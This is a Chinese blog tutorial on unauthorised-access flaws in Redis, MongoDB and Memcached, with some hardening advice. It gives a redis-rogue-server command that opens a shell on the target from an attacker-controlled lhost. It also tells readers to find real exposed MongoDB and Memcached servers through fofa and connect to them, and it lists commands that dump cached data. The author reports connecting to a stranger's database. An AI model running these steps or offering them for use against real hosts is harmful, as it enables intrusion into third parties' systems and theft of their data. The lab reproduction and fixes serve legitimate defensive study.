当前位置: 首页 > news >正文

Redis,MongoDB,Memcached未授权访问漏洞(及其修复方法)

 一. Redis

      Redis 默认情况下,会绑定在 0.0.0.0:6379 ,如果没有进⾏采⽤相关的策略,⽐如添加防 ⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设 置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤ Redis ⾃身的提供的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务 登录⽬标服务器。

漏洞复现

首先我们需要用docker启动一个靶机,命令如下

进⼊⽬录:cd /vulhub-master/redis/4-unacc
启动:docker-compose up -d
检查:docker-compose ps

然后在kali上面安装redis程序,命令为

#安装redis
apt-get install redis
#redis链接
redis-cli -h x.x.x.x -p 6379

连接后会弹出以下语言,直接连接上了,不需要认证,就说明存在未授权访问漏洞

接着我们下载redis-rogue-server.py来获取shell,下载连接https://github.com/n0b0dyCN/redis-rogue-server,下载后使用python3启动,然后就可以获取shell了,执行命令如下

python3 redis-rogue-server.py --rhost x.x.x.x --lhost x.x.x.x

二.MongoDB

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的⽤户可以通过默认端⼝⽆

需密码对数据库任意操作(增、删、改、查⾼危动作)⽽且可以远程访问数据库。

漏洞复现

首先去fofa搜索端口为27017的ip,然后直接用navicat去尝试连接即可

首先打开navicat,点击连接,选择MongoDB,这里的主机填写我们查到的ip,连接名随便填写,然后测试连接

这里我直接找到了一个可以连接的

如何修复

1. 为MongoDB添加认证:MongoDB启动时添加 --auth 参数、为MongoDB添加⽤户。

2. MongoDB ⾃身带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭        的。mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管          理,建议禁⽤。修改配置⽂件或在启动的时候选择 –nohttpinterface 参数                           nohttpinterface=false 。

3. 启动时加⼊参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf ⽂件中添加以下内容:

bind_ip = 127.0.0.1 。

三.Memcached

      Memcached 是⼀套常⽤的 key-value 分布式⾼速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公⽹开放的Memcache服务很容易被攻击者扫描发现,攻击者⽆需认证通过命令交互可直接读取 Memcached中的敏感信息。  

漏洞复现

首先我们需要下载Memcached程序,下载链接如下

https://www.runoob.com/memcached/window-install-memcached.html

下载后我们利用如下命令安装并启动Memcached漏洞程序

memcached.exe -d install
memcached.exe -d start

然后用telnet去连接有memcached的11211 端口,这里我们去fofa中搜索端口为11211的ip,然后尝试连接,出现如下字样就是连接成功了

然后可以使用命令

stats //查看memcache服务状态
stats items //查看所有items
stats cachedump 39 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value获得实际缓存内容,造
成敏感信息泄露

接下来,我们使⽤Nmap程序的脚本进⾏漏洞扫描,发现也可以扫出来

nmap -p 11211 --script memcached-info x.x.x.x

如何修复

1. 设置Memchached只允许本地访问。

2. 禁⽌外⽹访问Memcached 11211端⼝。

3. 配置访问控制策略。

4. 最⼩化权限运⾏。

5. 修改默认端⼝等。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • NOI Linux 2.0 的安装说明以及使用指南
  • 使用 podman 推送数据到私有仓库的 3 个问题记录
  • 【知识】PyTorch中的数据类型dtype
  • MAVSDK添加自定义消息与函数实现云台(Gimbal)调整功能
  • 【Python爬虫实例爬取网站搞笑段子】
  • 线程池个人笔记总结
  • 编程-设计模式 7:桥接模式
  • pandas赋值不成功
  • 职业教育物联网实验实训室建设应用案例
  • 入营测评题解
  • BeanFactory 和FactoryBean的区别
  • linux常用网络工具汇总二
  • Duilib 二
  • openfeign本地试用
  • 工厂模式 vs 策略模式:Java设计模式详细对比
  • [译] React v16.8: 含有Hooks的版本
  • 「译」Node.js Streams 基础
  • 2017 前端面试准备 - 收藏集 - 掘金
  • Java到底能干嘛?
  • JS 面试题总结
  • JS学习笔记——闭包
  • Linux中的硬链接与软链接
  • passportjs 源码分析
  • ReactNativeweexDeviceOne对比
  • yii2权限控制rbac之rule详细讲解
  • 大快搜索数据爬虫技术实例安装教学篇
  • 小程序开发之路(一)
  • 写代码的正确姿势
  • 延迟脚本的方式
  • 原生JS动态加载JS、CSS文件及代码脚本
  • zabbix3.2监控linux磁盘IO
  • 浅谈sql中的in与not in,exists与not exists的区别
  • 如何在 Intellij IDEA 更高效地将应用部署到容器服务 Kubernetes ...
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • # Pytorch 中可以直接调用的Loss Functions总结:
  • # Redis 入门到精通(一)数据类型(4)
  • #define、const、typedef的差别
  • #ifdef 的技巧用法
  • #pragma pack(1)
  • #ubuntu# #git# repository git config --global --add safe.directory
  • (4)Elastix图像配准:3D图像
  • (android 地图实战开发)3 在地图上显示当前位置和自定义银行位置
  • (Matalb分类预测)GA-BP遗传算法优化BP神经网络的多维分类预测
  • (备忘)Java Map 遍历
  • (第二周)效能测试
  • (多级缓存)缓存同步
  • (二)c52学习之旅-简单了解单片机
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (论文阅读30/100)Convolutional Pose Machines
  • (南京观海微电子)——示波器使用介绍
  • (四)库存超卖案例实战——优化redis分布式锁
  • (幽默漫画)有个程序员老公,是怎样的体验?
  • (原創) 系統分析和系統設計有什麼差別? (OO)
  • (转)【Hibernate总结系列】使用举例
  • (转)Sql Server 保留几位小数的两种做法